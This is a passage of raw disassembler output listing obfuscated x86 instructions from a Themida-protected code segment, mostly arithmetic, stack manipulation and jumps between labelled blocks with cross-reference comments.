46D266BBh jmp loc_5974FB ; --------------------------------------------------------------------------- loc_5903FD: ; CODE XREF: Themida_:005A0B8Fj xor eax, [esp] mov esp, [esp] mov ax, [esp] push 536h mov [esp], ecx jmp loc_5A2EC4 ; --------------------------------------------------------------------------- loc_590414: ; CODE XREF: Themida_:00598758j mov [esp], ebp push ecx mov ecx, 2D7D58C0h push 6DFF8CB1h pop ebp sub ebp, ecx mov ecx, [esp] add esp, 4 and ebp, 0C1608C7h jmp loc_596A2B ; --------------------------------------------------------------------------- loc_590439: ; CODE XREF: Themida_:00597405j sub edx, esi pop esi push eax mov eax, 7F14205Fh push eax jmp loc_5A55D3 ; --------------------------------------------------------------------------- loc_590448: ; CODE XREF: Themida_:005A45EFj xchg edi, [esp] jmp loc_593ED2 ; --------------------------------------------------------------------------- loc_590450: ; CODE XREF: Themida_:005948A3j push edi mov edi, 680C774Ch sub ebx, edi pop edi not ebx push esi mov esi, 5AA1D1Dh or ebx, esi pop esi add ebx, 1 push edx mov edx, 50BB75D6h neg edx shl edx, 4 and edx, 64913C9Dh dec edx xor edx, 4BA91CD9h jmp loc_59240D ; --------------------------------------------------------------------------- loc_590487: ; CODE XREF: Themida_:0059F5FBj mov [esp], esi push ebx mov ebx, 18F44DDDh push ebp jmp loc_599998 ; --------------------------------------------------------------------------- word_590496 dw 2489h ; CODE XREF: Themida_:00598153j ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 0FFh xor al, 24h pop ecx push 6BF7h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_597FC0 ; --------------------------------------------------------------------------- loc_5904B9: ; CODE XREF: Themida_:0059A8C6j add esi, ebx mov ebx, [esp] jmp loc_5A4C94 ; --------------------------------------------------------------------------- loc_5904C3: ; CODE XREF: Themida_:005907BFj not edi add edi, 292CC3h push ebx mov ebx, 5CD51343h jmp loc_59E310 ; --------------------------------------------------------------------------- loc_5904D6: ; CODE XREF: Themida_:005A1C41j add edi, ecx push dword ptr [esp] pop ecx add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_592BC8 ; --------------------------------------------------------------------------- loc_5904F0: ; CODE XREF: Themida_:0059BFDCj pop ebx pop edi push esi mov esi, 246E4A29h xor esi, 0FD53FF9h neg esi shl esi, 7 add esi, 3E292750h jmp loc_5951FE ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 51C8h mov [esp], edi jmp loc_591D11 ; --------------------------------------------------------------------------- loc_59051F: ; CODE XREF: Themida_:0059EA89j pop ecx add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_59B37F ; --------------------------------------------------------------------------- loc_59053A: ; CODE XREF: Themida_:00591F0Cj push 0F6Bh jmp loc_595923 ; --------------------------------------------------------------------------- loc_590544: ; CODE XREF: Themida_:0059824Ej xor eax, [esp] jmp $+5 pop esp mov [esp], ecx sub dword ptr [esp], 28924DE7h mov ebx, [esp] jmp loc_5A2C63 ; --------------------------------------------------------------------------- loc_59055F: ; CODE XREF: Themida_:0059B558j shr dl, 2 sub esp, 4 mov [esp], ebx push 7426h mov [esp], eax mov al, 0EDh mov bl, 31h sub bl, al pop eax add bl, 5Ah or dl, bl mov ebx, [esp] add esp, 4 jmp loc_596651 ; --------------------------------------------------------------------------- loc_59058A: ; CODE XREF: Themida_:005A5597j add ecx, ebp jmp loc_59F441 ; --------------------------------------------------------------------------- loc_590591: ; CODE XREF: Themida_:005A33D2j pop esp mov esi, [esp] add esp, 4 push ebx mov ebx, 2 sub edx, ebx pop ebx jmp loc_598986 ; --------------------------------------------------------------------------- loc_5905A6: ; CODE XREF: Themida_:005A40ABj pop ecx push esi mov esi, 3CD57B5Ch and eax, esi pop esi sub eax, 28D94346h push ebp mov ebp, 33CC5237h xor ebp, 62DE5D74h xor ebp, 2BD76AD7h add ebp, 178A4E5Fh jmp loc_59981E ; --------------------------------------------------------------------------- loc_5905D2: ; CODE XREF: Themida_:005A1A13j sub ecx, 14703458h jmp loc_59E226 ; --------------------------------------------------------------------------- loc_5905DD: ; CODE XREF: Themida_:005953CDj mov esi, [esp] add esp, 4 xor ebx, eax xor edx, eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5905EF: ; CODE XREF: Themida_:0059591Ej push eax mov ah, 0CFh not ah sub ah, 14h add ah, 0D7h xor ah, 0DCh xor cl, ah mov eax, [esp] add esp, 4 sub dh, 8Eh jmp loc_59E079 ; --------------------------------------------------------------------------- loc_59060D: ; CODE XREF: Themida_:005A0742j add edx, 4 jmp loc_595160 ; --------------------------------------------------------------------------- loc_590618: ; CODE XREF: Themida_:005A4915j push ebp jmp loc_5A1A37 ; --------------------------------------------------------------------------- loc_59061E: ; CODE XREF: Themida_:0059700Fj xor esi, 64D07D0Dh xor esi, 0AF31A4B5h xor ecx, esi pop esi push ecx not dword ptr [esp] pop ecx sub esp, 4 mov [esp], esi mov esi, 52BB0DD8h jmp loc_599ADC ; --------------------------------------------------------------------------- loc_590645: ; CODE XREF: Themida_:005A3F99j mov ah, 35h add ch, 61h add ch, ah sub ch, 61h pop ax push ebx mov bh, 38h add ch, bh mov ebx, [esp] add esp, 4 sub ah, ch pop ecx xor dl, ah push dword ptr [esp] pop eax add esp, 4 jmp loc_594333 ; --------------------------------------------------------------------------- loc_590670: ; CODE XREF: Themida_:0059691Dj add esi, 4 add esi, 2 jmp loc_59FCED ; --------------------------------------------------------------------------- loc_590681: ; CODE XREF: Themida_:00598435j push eax jmp loc_59B30B ; --------------------------------------------------------------------------- loc_590687: ; CODE XREF: Themida_:0059C4E1j add ebx, 4 jmp loc_59DA9F ; --------------------------------------------------------------------------- loc_590692: ; CODE XREF: Themida_:0059C7F9j inc ebp or ebp, 306036DCh jmp loc_592FE6 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 3AADh jmp loc_59E564 ; --------------------------------------------------------------------------- loc_5906B4: ; CODE XREF: Themida_:00595213j push dword ptr [esp] pop edi add esp, 4 push ebp mov ebp, 6E410AFEh push esi mov esi, 9277063h or ebp, esi mov esi, [esp] jmp loc_59C029 ; --------------------------------------------------------------------------- loc_5906D4: ; CODE XREF: Themida_:005A3DFAj neg edi dec edi inc edi xor edi, 0F715B3D8h add eax, edi pop edi sub eax, esi jmp loc_59D32A ; --------------------------------------------------------------------------- loc_5906E8: ; CODE XREF: Themida_:005A3130j mov ebx, 4 add [esp+4], ebx jmp loc_598383 ; --------------------------------------------------------------------------- loc_5906F6: ; CODE XREF: Themida_:00591F68j xor esi, 361F2A39h neg esi add esi, 87F2A60Fh push 2821h mov [esp], esi mov eax, [esp] add esp, 4 mov esi, [esp] add esp, 4 sub edi, 7FAF4221h add edi, eax add edi, 7FAF4221h mov eax, [esp] add esp, 4 add edi, 2 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5A537D ; --------------------------------------------------------------------------- loc_59074F: ; CODE XREF: Themida_:0059161Ej push ebp push esp pop ebp push 3133h jmp loc_594BD6 ; --------------------------------------------------------------------------- loc_59075C: ; CODE XREF: Themida_:005A33EBj push 5AFBh jmp loc_5A41F1 ; --------------------------------------------------------------------------- loc_590766: ; CODE XREF: Themida_:0059194Fj mov cl, 18h push eax mov al, 0F7h neg al jmp loc_59D7B5 ; --------------------------------------------------------------------------- loc_590772: ; CODE XREF: Themida_:005A4B15j and eax, ebp push dword ptr [esp] jmp loc_595477 ; --------------------------------------------------------------------------- loc_59077C: ; CODE XREF: Themida_:0059233Ej mov edi, 4 sub esi, edi pop edi jmp loc_599DC6 ; --------------------------------------------------------------------------- loc_590789: ; CODE XREF: Themida_:005972C5j mov edi, ebp pop ebp jmp loc_598DC7 ; --------------------------------------------------------------------------- loc_590791: ; CODE XREF: Themida_:005966C7j add eax, 4 jmp loc_596796 ; --------------------------------------------------------------------------- loc_59079B: ; CODE XREF: Themida_:005A4879j sub ecx, ebx pop ebx mov eax, ecx mov ecx, [esp] add esp, 4 sub eax, 0D8CCE21Ch and edi, eax mov eax, [esp] add esp, 4 xor edi, 24B710D1h jmp loc_5904C3 ; --------------------------------------------------------------------------- loc_5907C4: ; CODE XREF: Themida_:00599771j push esp jmp loc_5988EC ; --------------------------------------------------------------------------- loc_5907CA: ; CODE XREF: Themida_:005A08EFj mov [esp], edi jmp loc_5A1C24 ; --------------------------------------------------------------------------- loc_5907D2: ; CODE XREF: Themida_:0059B3A8j mov edx, 10B40BA0h jmp loc_5983F4 ; --------------------------------------------------------------------------- loc_5907DC: ; CODE XREF: Themida_:005A447Bj mov [esp], edx mov edx, 1 push ebp push edx pop ebp push ebp pop dword ptr [edi+20h] push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx mov edx, esp add edx, 4 push ecx mov ecx, 4 add edx, 69283D2Dh add edx, ecx sub edx, 69283D2Dh jmp loc_5A52A7 ; --------------------------------------------------------------------------- loc_590819: ; CODE XREF: Themida_:005932E9j sub edi, ebp add edi, 7CB82355h pop ebp jmp loc_597C7B ; --------------------------------------------------------------------------- loc_590827: ; CODE XREF: Themida_:0059D593j mov [esp], esi jmp loc_5947C3 ; --------------------------------------------------------------------------- loc_59082F: ; CODE XREF: Themida_:00592F0Ej inc ebx inc ebx xor ebx, 6BB41042h add edi, 39C06A8Ah add edi, ebx push esi mov esi, 39C06A8Ah sub edi, esi mov esi, [esp] add esp, 4 mov ebx, [esp] add esp, 4 push ecx jmp loc_595E6A ; --------------------------------------------------------------------------- loc_59085F: ; CODE XREF: Themida_:00597C60j pop ebp xchg eax, [esp] mov esp, [esp] mov ecx, [esp] add esp, 4 xor al, bl xor bl, al xor al, bl jmp loc_5A37AA ; --------------------------------------------------------------------------- loc_59087A: ; CODE XREF: Themida_:00599D30j mov edx, [esp] add esp, 4 jmp loc_590F5F ; --------------------------------------------------------------------------- loc_590888: ; CODE XREF: Themida_:0059EB34j add eax, edx jmp loc_5A0E5B ; --------------------------------------------------------------------------- loc_59088F: ; CODE XREF: Themida_:0059E602j pop eax push edi mov edi, 2 sub ecx, 6E41370Fh add ecx, 6FC4628Dh add ecx, edi jmp loc_5A4B4F ; --------------------------------------------------------------------------- loc_5908A9: ; CODE XREF: Themida_:0059F6E4j xor esi, 0A281AA87h add eax, 179B52F9h jmp loc_59551D ; --------------------------------------------------------------------------- loc_5908B9: ; CODE XREF: Themida_:0059A625j shr ecx, 1 and ecx, 3AD83B18h xor ecx, 36A66781h mov ebp, ecx pop ecx mov eax, ebp pop ebp add edi, eax jmp loc_5A417A ; --------------------------------------------------------------------------- loc_5908D4: ; CODE XREF: Themida_:005A297Ej add esi, 4 jmp loc_59CC68 ; --------------------------------------------------------------------------- loc_5908DF: ; CODE XREF: Themida_:0059E81Fj pop ebp add esp, 4 neg eax sub eax, 0FFFFFFFFh push ebx mov ebx, 717F159Bh or ebx, 2E2C5659h jmp loc_599656 ; --------------------------------------------------------------------------- loc_5908F9: ; CODE XREF: Themida_:005A4D95j add eax, 3785357Eh push 3561h mov [esp], ebp mov ebp, 662C603Dh and ebp, 328F64B8h add ebp, 0FFFFFFFFh jmp loc_593BAC ; --------------------------------------------------------------------------- loc_590919: ; CODE XREF: Themida_:005985FFj sub eax, 11ED67E8h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_593524 ; --------------------------------------------------------------------------- loc_590935: ; CODE XREF: Themida_:00592B31j sub ebx, edi pop edi add ecx, 16AA0CE4h push 3A1Bh mov [esp], ebx mov ebx, 31DB081Ah add ecx, 3EEC2ABAh sub ecx, ebx sub ecx, 3EEC2ABAh pop ebx add ecx, ebx jmp loc_591C3B ; --------------------------------------------------------------------------- loc_590961: ; CODE XREF: Themida_:005A3EF9j sub esp, 4 push esp pop dword ptr [esp] push eax mov eax, 4 sub dword ptr [esp+4], 1B7E7D95h add [esp+4], eax add dword ptr [esp+4], 1B7E7D95h pop eax push dword ptr [esp] jmp loc_59B466 ; --------------------------------------------------------------------------- loc_59098B: ; CODE XREF: Themida_:005984DCj pop esp mov [esp], edx mov edx, 4 sub edi, 47223193h add edi, edx jmp loc_5A4038 ; --------------------------------------------------------------------------- loc_5909A1: ; CODE XREF: Themida_:0059E425j xchg edx, [esp] jmp loc_595BDB ; --------------------------------------------------------------------------- loc_5909A9: ; CODE XREF: Themida_:005955B9j sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_59DBF4 ; --------------------------------------------------------------------------- loc_5909D4: ; CODE XREF: Themida_:00593424j add edx, 6CD770D9h jmp loc_59D9BE ; --------------------------------------------------------------------------- loc_5909DF: ; CODE XREF: Themida_:005965A4j sub esp, 4 mov [esp], ebx jmp loc_590D33 ; --------------------------------------------------------------------------- loc_5909EA: ; CODE XREF: Themida_:005919C2j mov ebx, [esp] jmp loc_593D26 ; --------------------------------------------------------------------------- loc_5909F2: ; CODE XREF: Themida_:005981F1j add esi, 13471B01h jmp loc_5A36E2 ; --------------------------------------------------------------------------- loc_5909FD: ; CODE XREF: Themida_:005A4187j push ebx jmp loc_5A15CD ; --------------------------------------------------------------------------- loc_590A03: ; CODE XREF: Themida_:0059A127j sub ebx, 5963083Fh sub ebx, 4A4088Ch sub ebx, ecx add ebx, 4A4088Ch add ebx, 5963083Fh pop ecx add [ebx], esi pop ebx jmp loc_59495E ; --------------------------------------------------------------------------- loc_590A26: ; CODE XREF: Themida_:00592929j sub edi, 0DA64A88Ch jmp loc_5A412F ; --------------------------------------------------------------------------- loc_590A31: ; CODE XREF: Themida_:0059F1A2j pop dword ptr [esp] push ebx mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_59DF26 ; --------------------------------------------------------------------------- lodsd push 6BA9h mov [esp], ebp mov ebp, 1295D6Ch sub esi, ebp jmp loc_5936D7 ; --------------------------------------------------------------------------- loc_590A59: ; CODE XREF: Themida_:00592B66j pop esi add esp, 4 push edx sub esp, 4 jmp loc_598484 ; --------------------------------------------------------------------------- loc_590A66: ; CODE XREF: Themida_:005937E4j xor [esp], edi xor edi, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_590A77: ; CODE XREF: Themida_:0059651Fj add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ecx mov ecx, 4 jmp loc_59E1CC ; --------------------------------------------------------------------------- loc_590A9F: ; CODE XREF: Themida_:0059E189j push 269Fh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 push 6882h jmp loc_5970BD ; --------------------------------------------------------------------------- loc_590ABC: ; CODE XREF: Themida_:0059BC86j sub esi, 4 xchg esi, [esp] jmp loc_5A1D23 ; --------------------------------------------------------------------------- loc_590ACA: ; CODE XREF: Themida_:005A0F01j mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_593062 ; --------------------------------------------------------------------------- loc_590ADF: ; CODE XREF: Themida_:00597330j push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] jmp loc_59756A ; --------------------------------------------------------------------------- loc_590AF0: ; CODE XREF: Themida_:00595E59j mov ebx, 1 sub esi, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esi, 1200D3Bh add ebp, 70C128F0h add ebp, esi jmp loc_59CC11 ; --------------------------------------------------------------------------- loc_590B1D: ; CODE XREF: Themida_:0059BF6Ej push eax mov ah, 0AFh mov bh, ah pop eax and cl, bh pop bx add cl, 71h mov dh, cl mov ecx, [esp] jmp loc_593B12 ; --------------------------------------------------------------------------- loc_590B34: ; CODE XREF: Themida_:005A260Ej mov ebx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_590B50: ; CODE XREF: Themida_:0059735Cj xor al, dl pop edx push cx mov cl, 2Bh jmp loc_59D5B8 ; --------------------------------------------------------------------------- loc_590B5C: ; CODE XREF: Themida_:00594FD5j add edi, esi mov esi, [esp] add esp, 4 jmp loc_59E22F ; --------------------------------------------------------------------------- loc_590B69: ; CODE XREF: Themida_:005A28CDj mov eax, 3D75566Bh add ecx, eax pop eax pop edi neg ecx jmp loc_59A25F ; --------------------------------------------------------------------------- loc_590B79: ; CODE XREF: Themida_:00592615j mov [esp], eax push 3DF42148h pop eax jmp loc_5971BC ; --------------------------------------------------------------------------- loc_590B87: ; CODE XREF: Themida_:005910F7j add edi, 0C81ACA4Fh mov ebp, edi jmp loc_597DAC ; --------------------------------------------------------------------------- loc_590B94: ; CODE XREF: Themida_:0059B713j add bl, 6Fh push ax mov al, 5 sub bl, al pop ax jmp loc_5A5753 ; --------------------------------------------------------------------------- loc_590BA4: ; CODE XREF: Themida_:005A5023j add edx, 4 xchg edx, [esp] pop esp add esi, ebp mov ebp, [esp] add esp, 4 xchg esi, [esp] pop esp div cl jmp loc_59A757 ; --------------------------------------------------------------------------- loc_590BC1: ; CODE XREF: Themida_:0059ADABj sub ch, 74h sub al, 0E7h sub al, ch add al, 0E7h push dword ptr [esp] jmp loc_5913C4 ; --------------------------------------------------------------------------- loc_590BD2: ; CODE XREF: Themida_:005A4C13j inc edi add edi, 32FF1DA7h xor ebx, edi jmp loc_59C27C ; --------------------------------------------------------------------------- loc_590BE0: ; CODE XREF: Themida_:0059EEFFj sub esp, 4 mov [esp], eax mov eax, 4 add ebp, eax mov eax, [esp] jmp loc_59D19D ; --------------------------------------------------------------------------- loc_590BF8: ; CODE XREF: Themida_:005A51DFj push ebx mov ebx, 0FFFFFFFFh mov ecx, ebx pop ebx push edi mov edi, 5EE6F26h push ecx jmp loc_5A0039 ; --------------------------------------------------------------------------- loc_590C0D: ; CODE XREF: Themida_:00590CF3j xor al, 28h or al, 48h add al, 1Fh xor al, 31h add dl, al pop eax push ebx mov bl, dl mov al, bl pop ebx pop edx xor bh, al mov ax, [esp] jmp loc_59BF18 ; --------------------------------------------------------------------------- loc_590C2A: ; CODE XREF: Themida_:005960B0j neg cl push eax push ebx mov bh, 40h sub bh, 73h mov ah, bh pop ebx jmp loc_5939A5 ; --------------------------------------------------------------------------- loc_590C3B: ; CODE XREF: Themida_:00590C94j sub esp, 4 mov [esp], ecx jmp loc_59FE5B ; --------------------------------------------------------------------------- loc_590C46: ; CODE XREF: Themida_:005A44B2j inc edx add edx, 51D6515Fh xor edx, 0C14B7D85h add ebx, edx pop edx mov eax, ebx pop ebx push ebx jmp loc_59A347 ; --------------------------------------------------------------------------- loc_590C5F: ; CODE XREF: Themida_:005965D5j and edx, 3A383921h and edx, 5B574809h dec edx jmp loc_595D58 ; --------------------------------------------------------------------------- loc_590C71: ; CODE XREF: Themida_:0059380Fj pop eax dec eax sub eax, 2F15A289h add esi, eax jmp loc_5A2A23 ; --------------------------------------------------------------------------- loc_590C7F: ; CODE XREF: Themida_:0059DEABj add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] add esp, 4 jmp loc_590C3B ; --------------------------------------------------------------------------- loc_590C99: ; CODE XREF: Themida_:0059F03Ej pop edx jmp loc_598237 ; --------------------------------------------------------------------------- loc_590C9F: ; CODE XREF: Themida_:00592F30j mov esp, [esp] jmp loc_596D32 ; --------------------------------------------------------------------------- loc_590CA7: ; CODE XREF: Themida_:005A3B12j mov bx, [esp] add esp, 2 and bl, 88h shr bl, 1 jmp loc_598DF3 ; --------------------------------------------------------------------------- loc_590CBB: ; CODE XREF: Themida_:00594169j add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] jmp loc_599758 ; --------------------------------------------------------------------------- loc_590CCA: ; CODE XREF: Themida_:005A15BEj xor dx, di xor di, dx push dx xchg cx, [esp] push cx not word ptr [esp] pop cx jmp loc_5A468C ; --------------------------------------------------------------------------- push ebp jmp loc_5A26E4 ; --------------------------------------------------------------------------- loc_590CE9: ; CODE XREF: Themida_:0059C17Dj mov esp, [esp] jmp loc_59317A ; --------------------------------------------------------------------------- loc_590CF1: ; CODE XREF: Themida_:0059304Aj sub al, 0A5h jmp loc_590C0D ; --------------------------------------------------------------------------- loc_590CF8: ; CODE XREF: Themida_:005A548Fj pop esp push 57BCh mov [esp], ebx push edx mov dh, 14h push ecx push 2FBDh jmp loc_59EA7E ; --------------------------------------------------------------------------- loc_590D0F: ; CODE XREF: Themida_:0059A06Dj mov edi, esp jmp loc_59C74E ; --------------------------------------------------------------------------- loc_590D16: ; CODE XREF: Themida_:005A149Ej mov ax, si mov esi, [esp] add esp, 4 add ax, 4B59h shl ax, 8 xor ax, 6774h jmp loc_5969C7 ; --------------------------------------------------------------------------- loc_590D33: ; CODE XREF: Themida_:005909E5j mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp] pop esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A1749 ; --------------------------------------------------------------------------- loc_590D50: ; CODE XREF: Themida_:005982ECj mov esp, [esp] jmp loc_59CBDD ; --------------------------------------------------------------------------- loc_590D58: ; CODE XREF: Themida_:005A568Dj add edi, 2 xchg edi, [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_590D6A: ; CODE XREF: Themida_:0059FFCEj pop edx jmp loc_5A1946 ; --------------------------------------------------------------------------- loc_590D70: ; CODE XREF: Themida_:005968FBj sub edi, 2584B6C1h jmp loc_59D357 ; --------------------------------------------------------------------------- loc_590D7B: ; CODE XREF: Themida_:005A4E11j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] push ebx xchg esi, [esp] jmp loc_5A3A04 ; --------------------------------------------------------------------------- loc_590D8D: ; CODE XREF: Themida_:0059B076j neg eax add eax, 3913149Ah sub eax, 2123DC4h mov ebx, eax pop eax xor ebx, 1DC34F0Dh shr ebx, 5 sub ebx, 0FC31BCDh jmp loc_598BA9 ; --------------------------------------------------------------------------- loc_590DB0: ; CODE XREF: Themida_:0059B6B9j add eax, esi add eax, 9285865h jmp loc_59CD12 ; --------------------------------------------------------------------------- loc_590DBC: ; CODE XREF: Themida_:005A29E1j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_590DC1: ; CODE XREF: Themida_:0059AFF7j add esi, 7E6FFE3Fh or eax, esi pop esi jmp loc_596900 ; --------------------------------------------------------------------------- loc_590DCF: ; CODE XREF: Themida_:00593DB7j mov [esp], edi mov edi, esp add edi, 4 jmp loc_59AC6A ; --------------------------------------------------------------------------- loc_590DDF: ; CODE XREF: Themida_:00598998j mov eax, 0 add eax, ecx push ecx jmp loc_5A129A ; --------------------------------------------------------------------------- lodsd push 570Eh mov [esp], esi sub esp, 4 mov [esp], ecx mov ecx, 582A64DCh push edi push 37C35033h pop edi sub esp, 4 jmp loc_59C938 ; --------------------------------------------------------------------------- loc_590E15: ; CODE XREF: Themida_:00598BDAj sub bx, di jmp loc_5A2A85 ; --------------------------------------------------------------------------- loc_590E1D: ; CODE XREF: Themida_:0059F678j shl edi, 4 not edi jmp loc_599D3E ; --------------------------------------------------------------------------- loc_590E27: ; CODE XREF: Themida_:00597F89j mov edi, 644470BBh add edi, 0B11AC404h sub ecx, 40365675h sub ecx, edi add ecx, 40365675h jmp loc_596E4E ; --------------------------------------------------------------------------- loc_590E45: ; CODE XREF: Themida_:005978F1j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_590E4A: ; CODE XREF: Themida_:0059320Dj xor esi, edx pop edx push edx mov edx, 0FFFFFFFFh sub esi, edx pop edx add esi, 1 jmp loc_5968CE ; --------------------------------------------------------------------------- loc_590E5E: ; CODE XREF: Themida_:005A36D7j mov edx, 52D4044Bh push edi mov edi, 6F4B600Eh push esi mov esi, 5DE439EDh sub edi, 28B00529h jmp loc_59EB72 ; --------------------------------------------------------------------------- loc_590E7A: ; CODE XREF: Themida_:005A2361j mov [esp], ebx mov bl, 48h sub ch, 0D6h add ch, bl add ch, 0D6h jmp loc_5A2753 ; --------------------------------------------------------------------------- loc_590E8C: ; CODE XREF: Themida_:005951EBj mov ebp, esp push ebx push edx mov edx, 2A742359h jmp loc_59CB16 ; --------------------------------------------------------------------------- loc_590E9A: ; CODE XREF: Themida_:0059D795j or eax, 701146C4h push eax not dword ptr [esp] pop eax sub eax, 9424CFD0h or ebp, eax mov eax, [esp] push ebx jmp loc_596EC4 ; --------------------------------------------------------------------------- loc_590EB4: ; CODE XREF: Themida_:00598333j mov ebx, 30h sub ebx, 2191109Dh jmp loc_5A2339 ; --------------------------------------------------------------------------- loc_590EC4: ; CODE XREF: Themida_:005A1478j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push 4CE4h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5A092C ; --------------------------------------------------------------------------- loc_590EEB: ; CODE XREF: Themida_:005978AEj mov ebx, [esp] jmp loc_59CC09 ; --------------------------------------------------------------------------- loc_590EF3: ; CODE XREF: Themida_:0059B732j xor esi, [esp] xor [esp], esi jmp loc_5923F3 ; --------------------------------------------------------------------------- loc_590EFE: ; CODE XREF: Themida_:0059266Aj and eax, 24C144B0h xor eax, 2D305D06h jmp loc_599B98 ; --------------------------------------------------------------------------- loc_590F0D: ; CODE XREF: Themida_:0059B6FFj mov [esp], esi mov esi, 1FCB022Ch add [esp+4], esi pop esi push dword ptr [esp] pop ecx push 1726h jmp loc_59E460 ; --------------------------------------------------------------------------- loc_590F28: ; CODE XREF: Themida_:00598DA0j add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5921FF ; --------------------------------------------------------------------------- loc_590F4F: ; CODE XREF: Themida_:005A1648j xor eax, 5EC62D8Dh sub edx, 700317B8h jmp loc_592C32 ; --------------------------------------------------------------------------- loc_590F5F: ; CODE XREF: Themida_:00590883j sub esp, 4 mov [esp], eax jmp loc_598BF7 ; --------------------------------------------------------------------------- loc_590F6A: ; CODE XREF: Themida_:0059BB03j pop esi jmp loc_5936F0 ; --------------------------------------------------------------------------- loc_590F70: ; CODE XREF: Themida_:0059F8BEj mov ecx, 56F4B884h sub ecx, eax push dword ptr [esp] pop eax jmp loc_59F600 ; --------------------------------------------------------------------------- loc_590F80: ; CODE XREF: Themida_:00593EBFj add ebx, ebp push dword ptr [esp] pop ebp push edi jmp loc_5959E5 ; --------------------------------------------------------------------------- loc_590F8C: ; CODE XREF: Themida_:005914FCj not edi shr edi, 1 inc edi neg edi sub edi, 36781FB2h jmp loc_5950CA ; --------------------------------------------------------------------------- loc_590F9E: ; CODE XREF: Themida_:0059D33Ej push 6017h mov [esp], edx push 0DA2h mov [esp], edi mov edi, 68716ADBh mov edx, edi pop edi push ecx mov ecx, 4B2F7F90h sub [esp+8], ecx pop ecx jmp loc_5A328F ; --------------------------------------------------------------------------- loc_590FC6: ; CODE XREF: Themida_:00599D18j xor eax, edi pop edi jmp loc_59C4F3 ; --------------------------------------------------------------------------- loc_590FCE: ; CODE XREF: Themida_:005A445Ej mov ebx, 62271F0Ah push ecx push 1BB63788h jmp loc_5A3CBC ; --------------------------------------------------------------------------- loc_590FDE: ; CODE XREF: Themida_:005A3F17j push 6E3251F2h pop edx push ebp mov ebp, 753C4366h dec ebp xchg eax, ebp not eax xchg eax, ebp not ebp shr ebp, 7 push eax mov eax, 0FB2A49E4h sub ebp, eax pop eax xor edx, ebp jmp loc_5A13EE ; --------------------------------------------------------------------------- loc_591004: ; CODE XREF: Themida_:00597B9Cj pop eax add eax, edx push dword ptr [esp] pop edx add esp, 4 push eax jmp loc_5A20E0 ; --------------------------------------------------------------------------- loc_591017: ; CODE XREF: Themida_:005A19A0j mov esi, [esp] push ebx mov ebx, esp push edx mov edx, 27B24577h sub edx, 13343660h push edx not dword ptr [esp] pop edx shl edx, 4 add edx, 1 xor edx, 0B81F0E85h add ebx, edx pop edx add ebx, 4 jmp loc_5A38FB ; --------------------------------------------------------------------------- loc_591048: ; CODE XREF: Themida_:005A1EF1j mov eax, ecx mov ecx, [esp] add esp, 4 push edx mov edx, eax mov edi, edx jmp loc_599EE3 ; --------------------------------------------------------------------------- loc_59105D: ; CODE XREF: Themida_:005A05BEj sub dword ptr [esp], 18FD3679h sub [esp], edx add dword ptr [esp], 18FD3679h pop edx xchg ecx, edx jmp loc_59ABCD ; --------------------------------------------------------------------------- loc_591076: ; CODE XREF: Themida_:00595B4Fj push 2286h mov [esp], edx mov edx, 2 jmp loc_592C3D ; --------------------------------------------------------------------------- loc_591088: ; CODE XREF: Themida_:00593112j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59108D: ; CODE XREF: Themida_:0059D4E3j mov dx, [esp] jmp loc_59A054 ; --------------------------------------------------------------------------- loc_591096: ; CODE XREF: Themida_:0059A2C7j pop esi add esi, 65885E65h push esi push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5910BD ; --------------------------------------------------------------------------- loc_5910AF: ; CODE XREF: Themida_:005A1588j add edx, 4 xchg edx, [esp] jmp loc_5A42F5 ; --------------------------------------------------------------------------- loc_5910BD: ; CODE XREF: Themida_:005910AAj add esp, 4 push dword ptr [esp] pop esi jmp loc_59B7CF ; --------------------------------------------------------------------------- loc_5910C9: ; CODE XREF: Themida_:0059542Ej neg edi sub edi, 47BD50C5h add edx, 4BBF307Fh sub edx, edi sub edx, 4BBF307Fh jmp loc_5A4DAD ; --------------------------------------------------------------------------- loc_5910E4: ; CODE XREF: Themida_:00597CF6j add esp, 4 sub esp, 4 mov [esp], edi mov 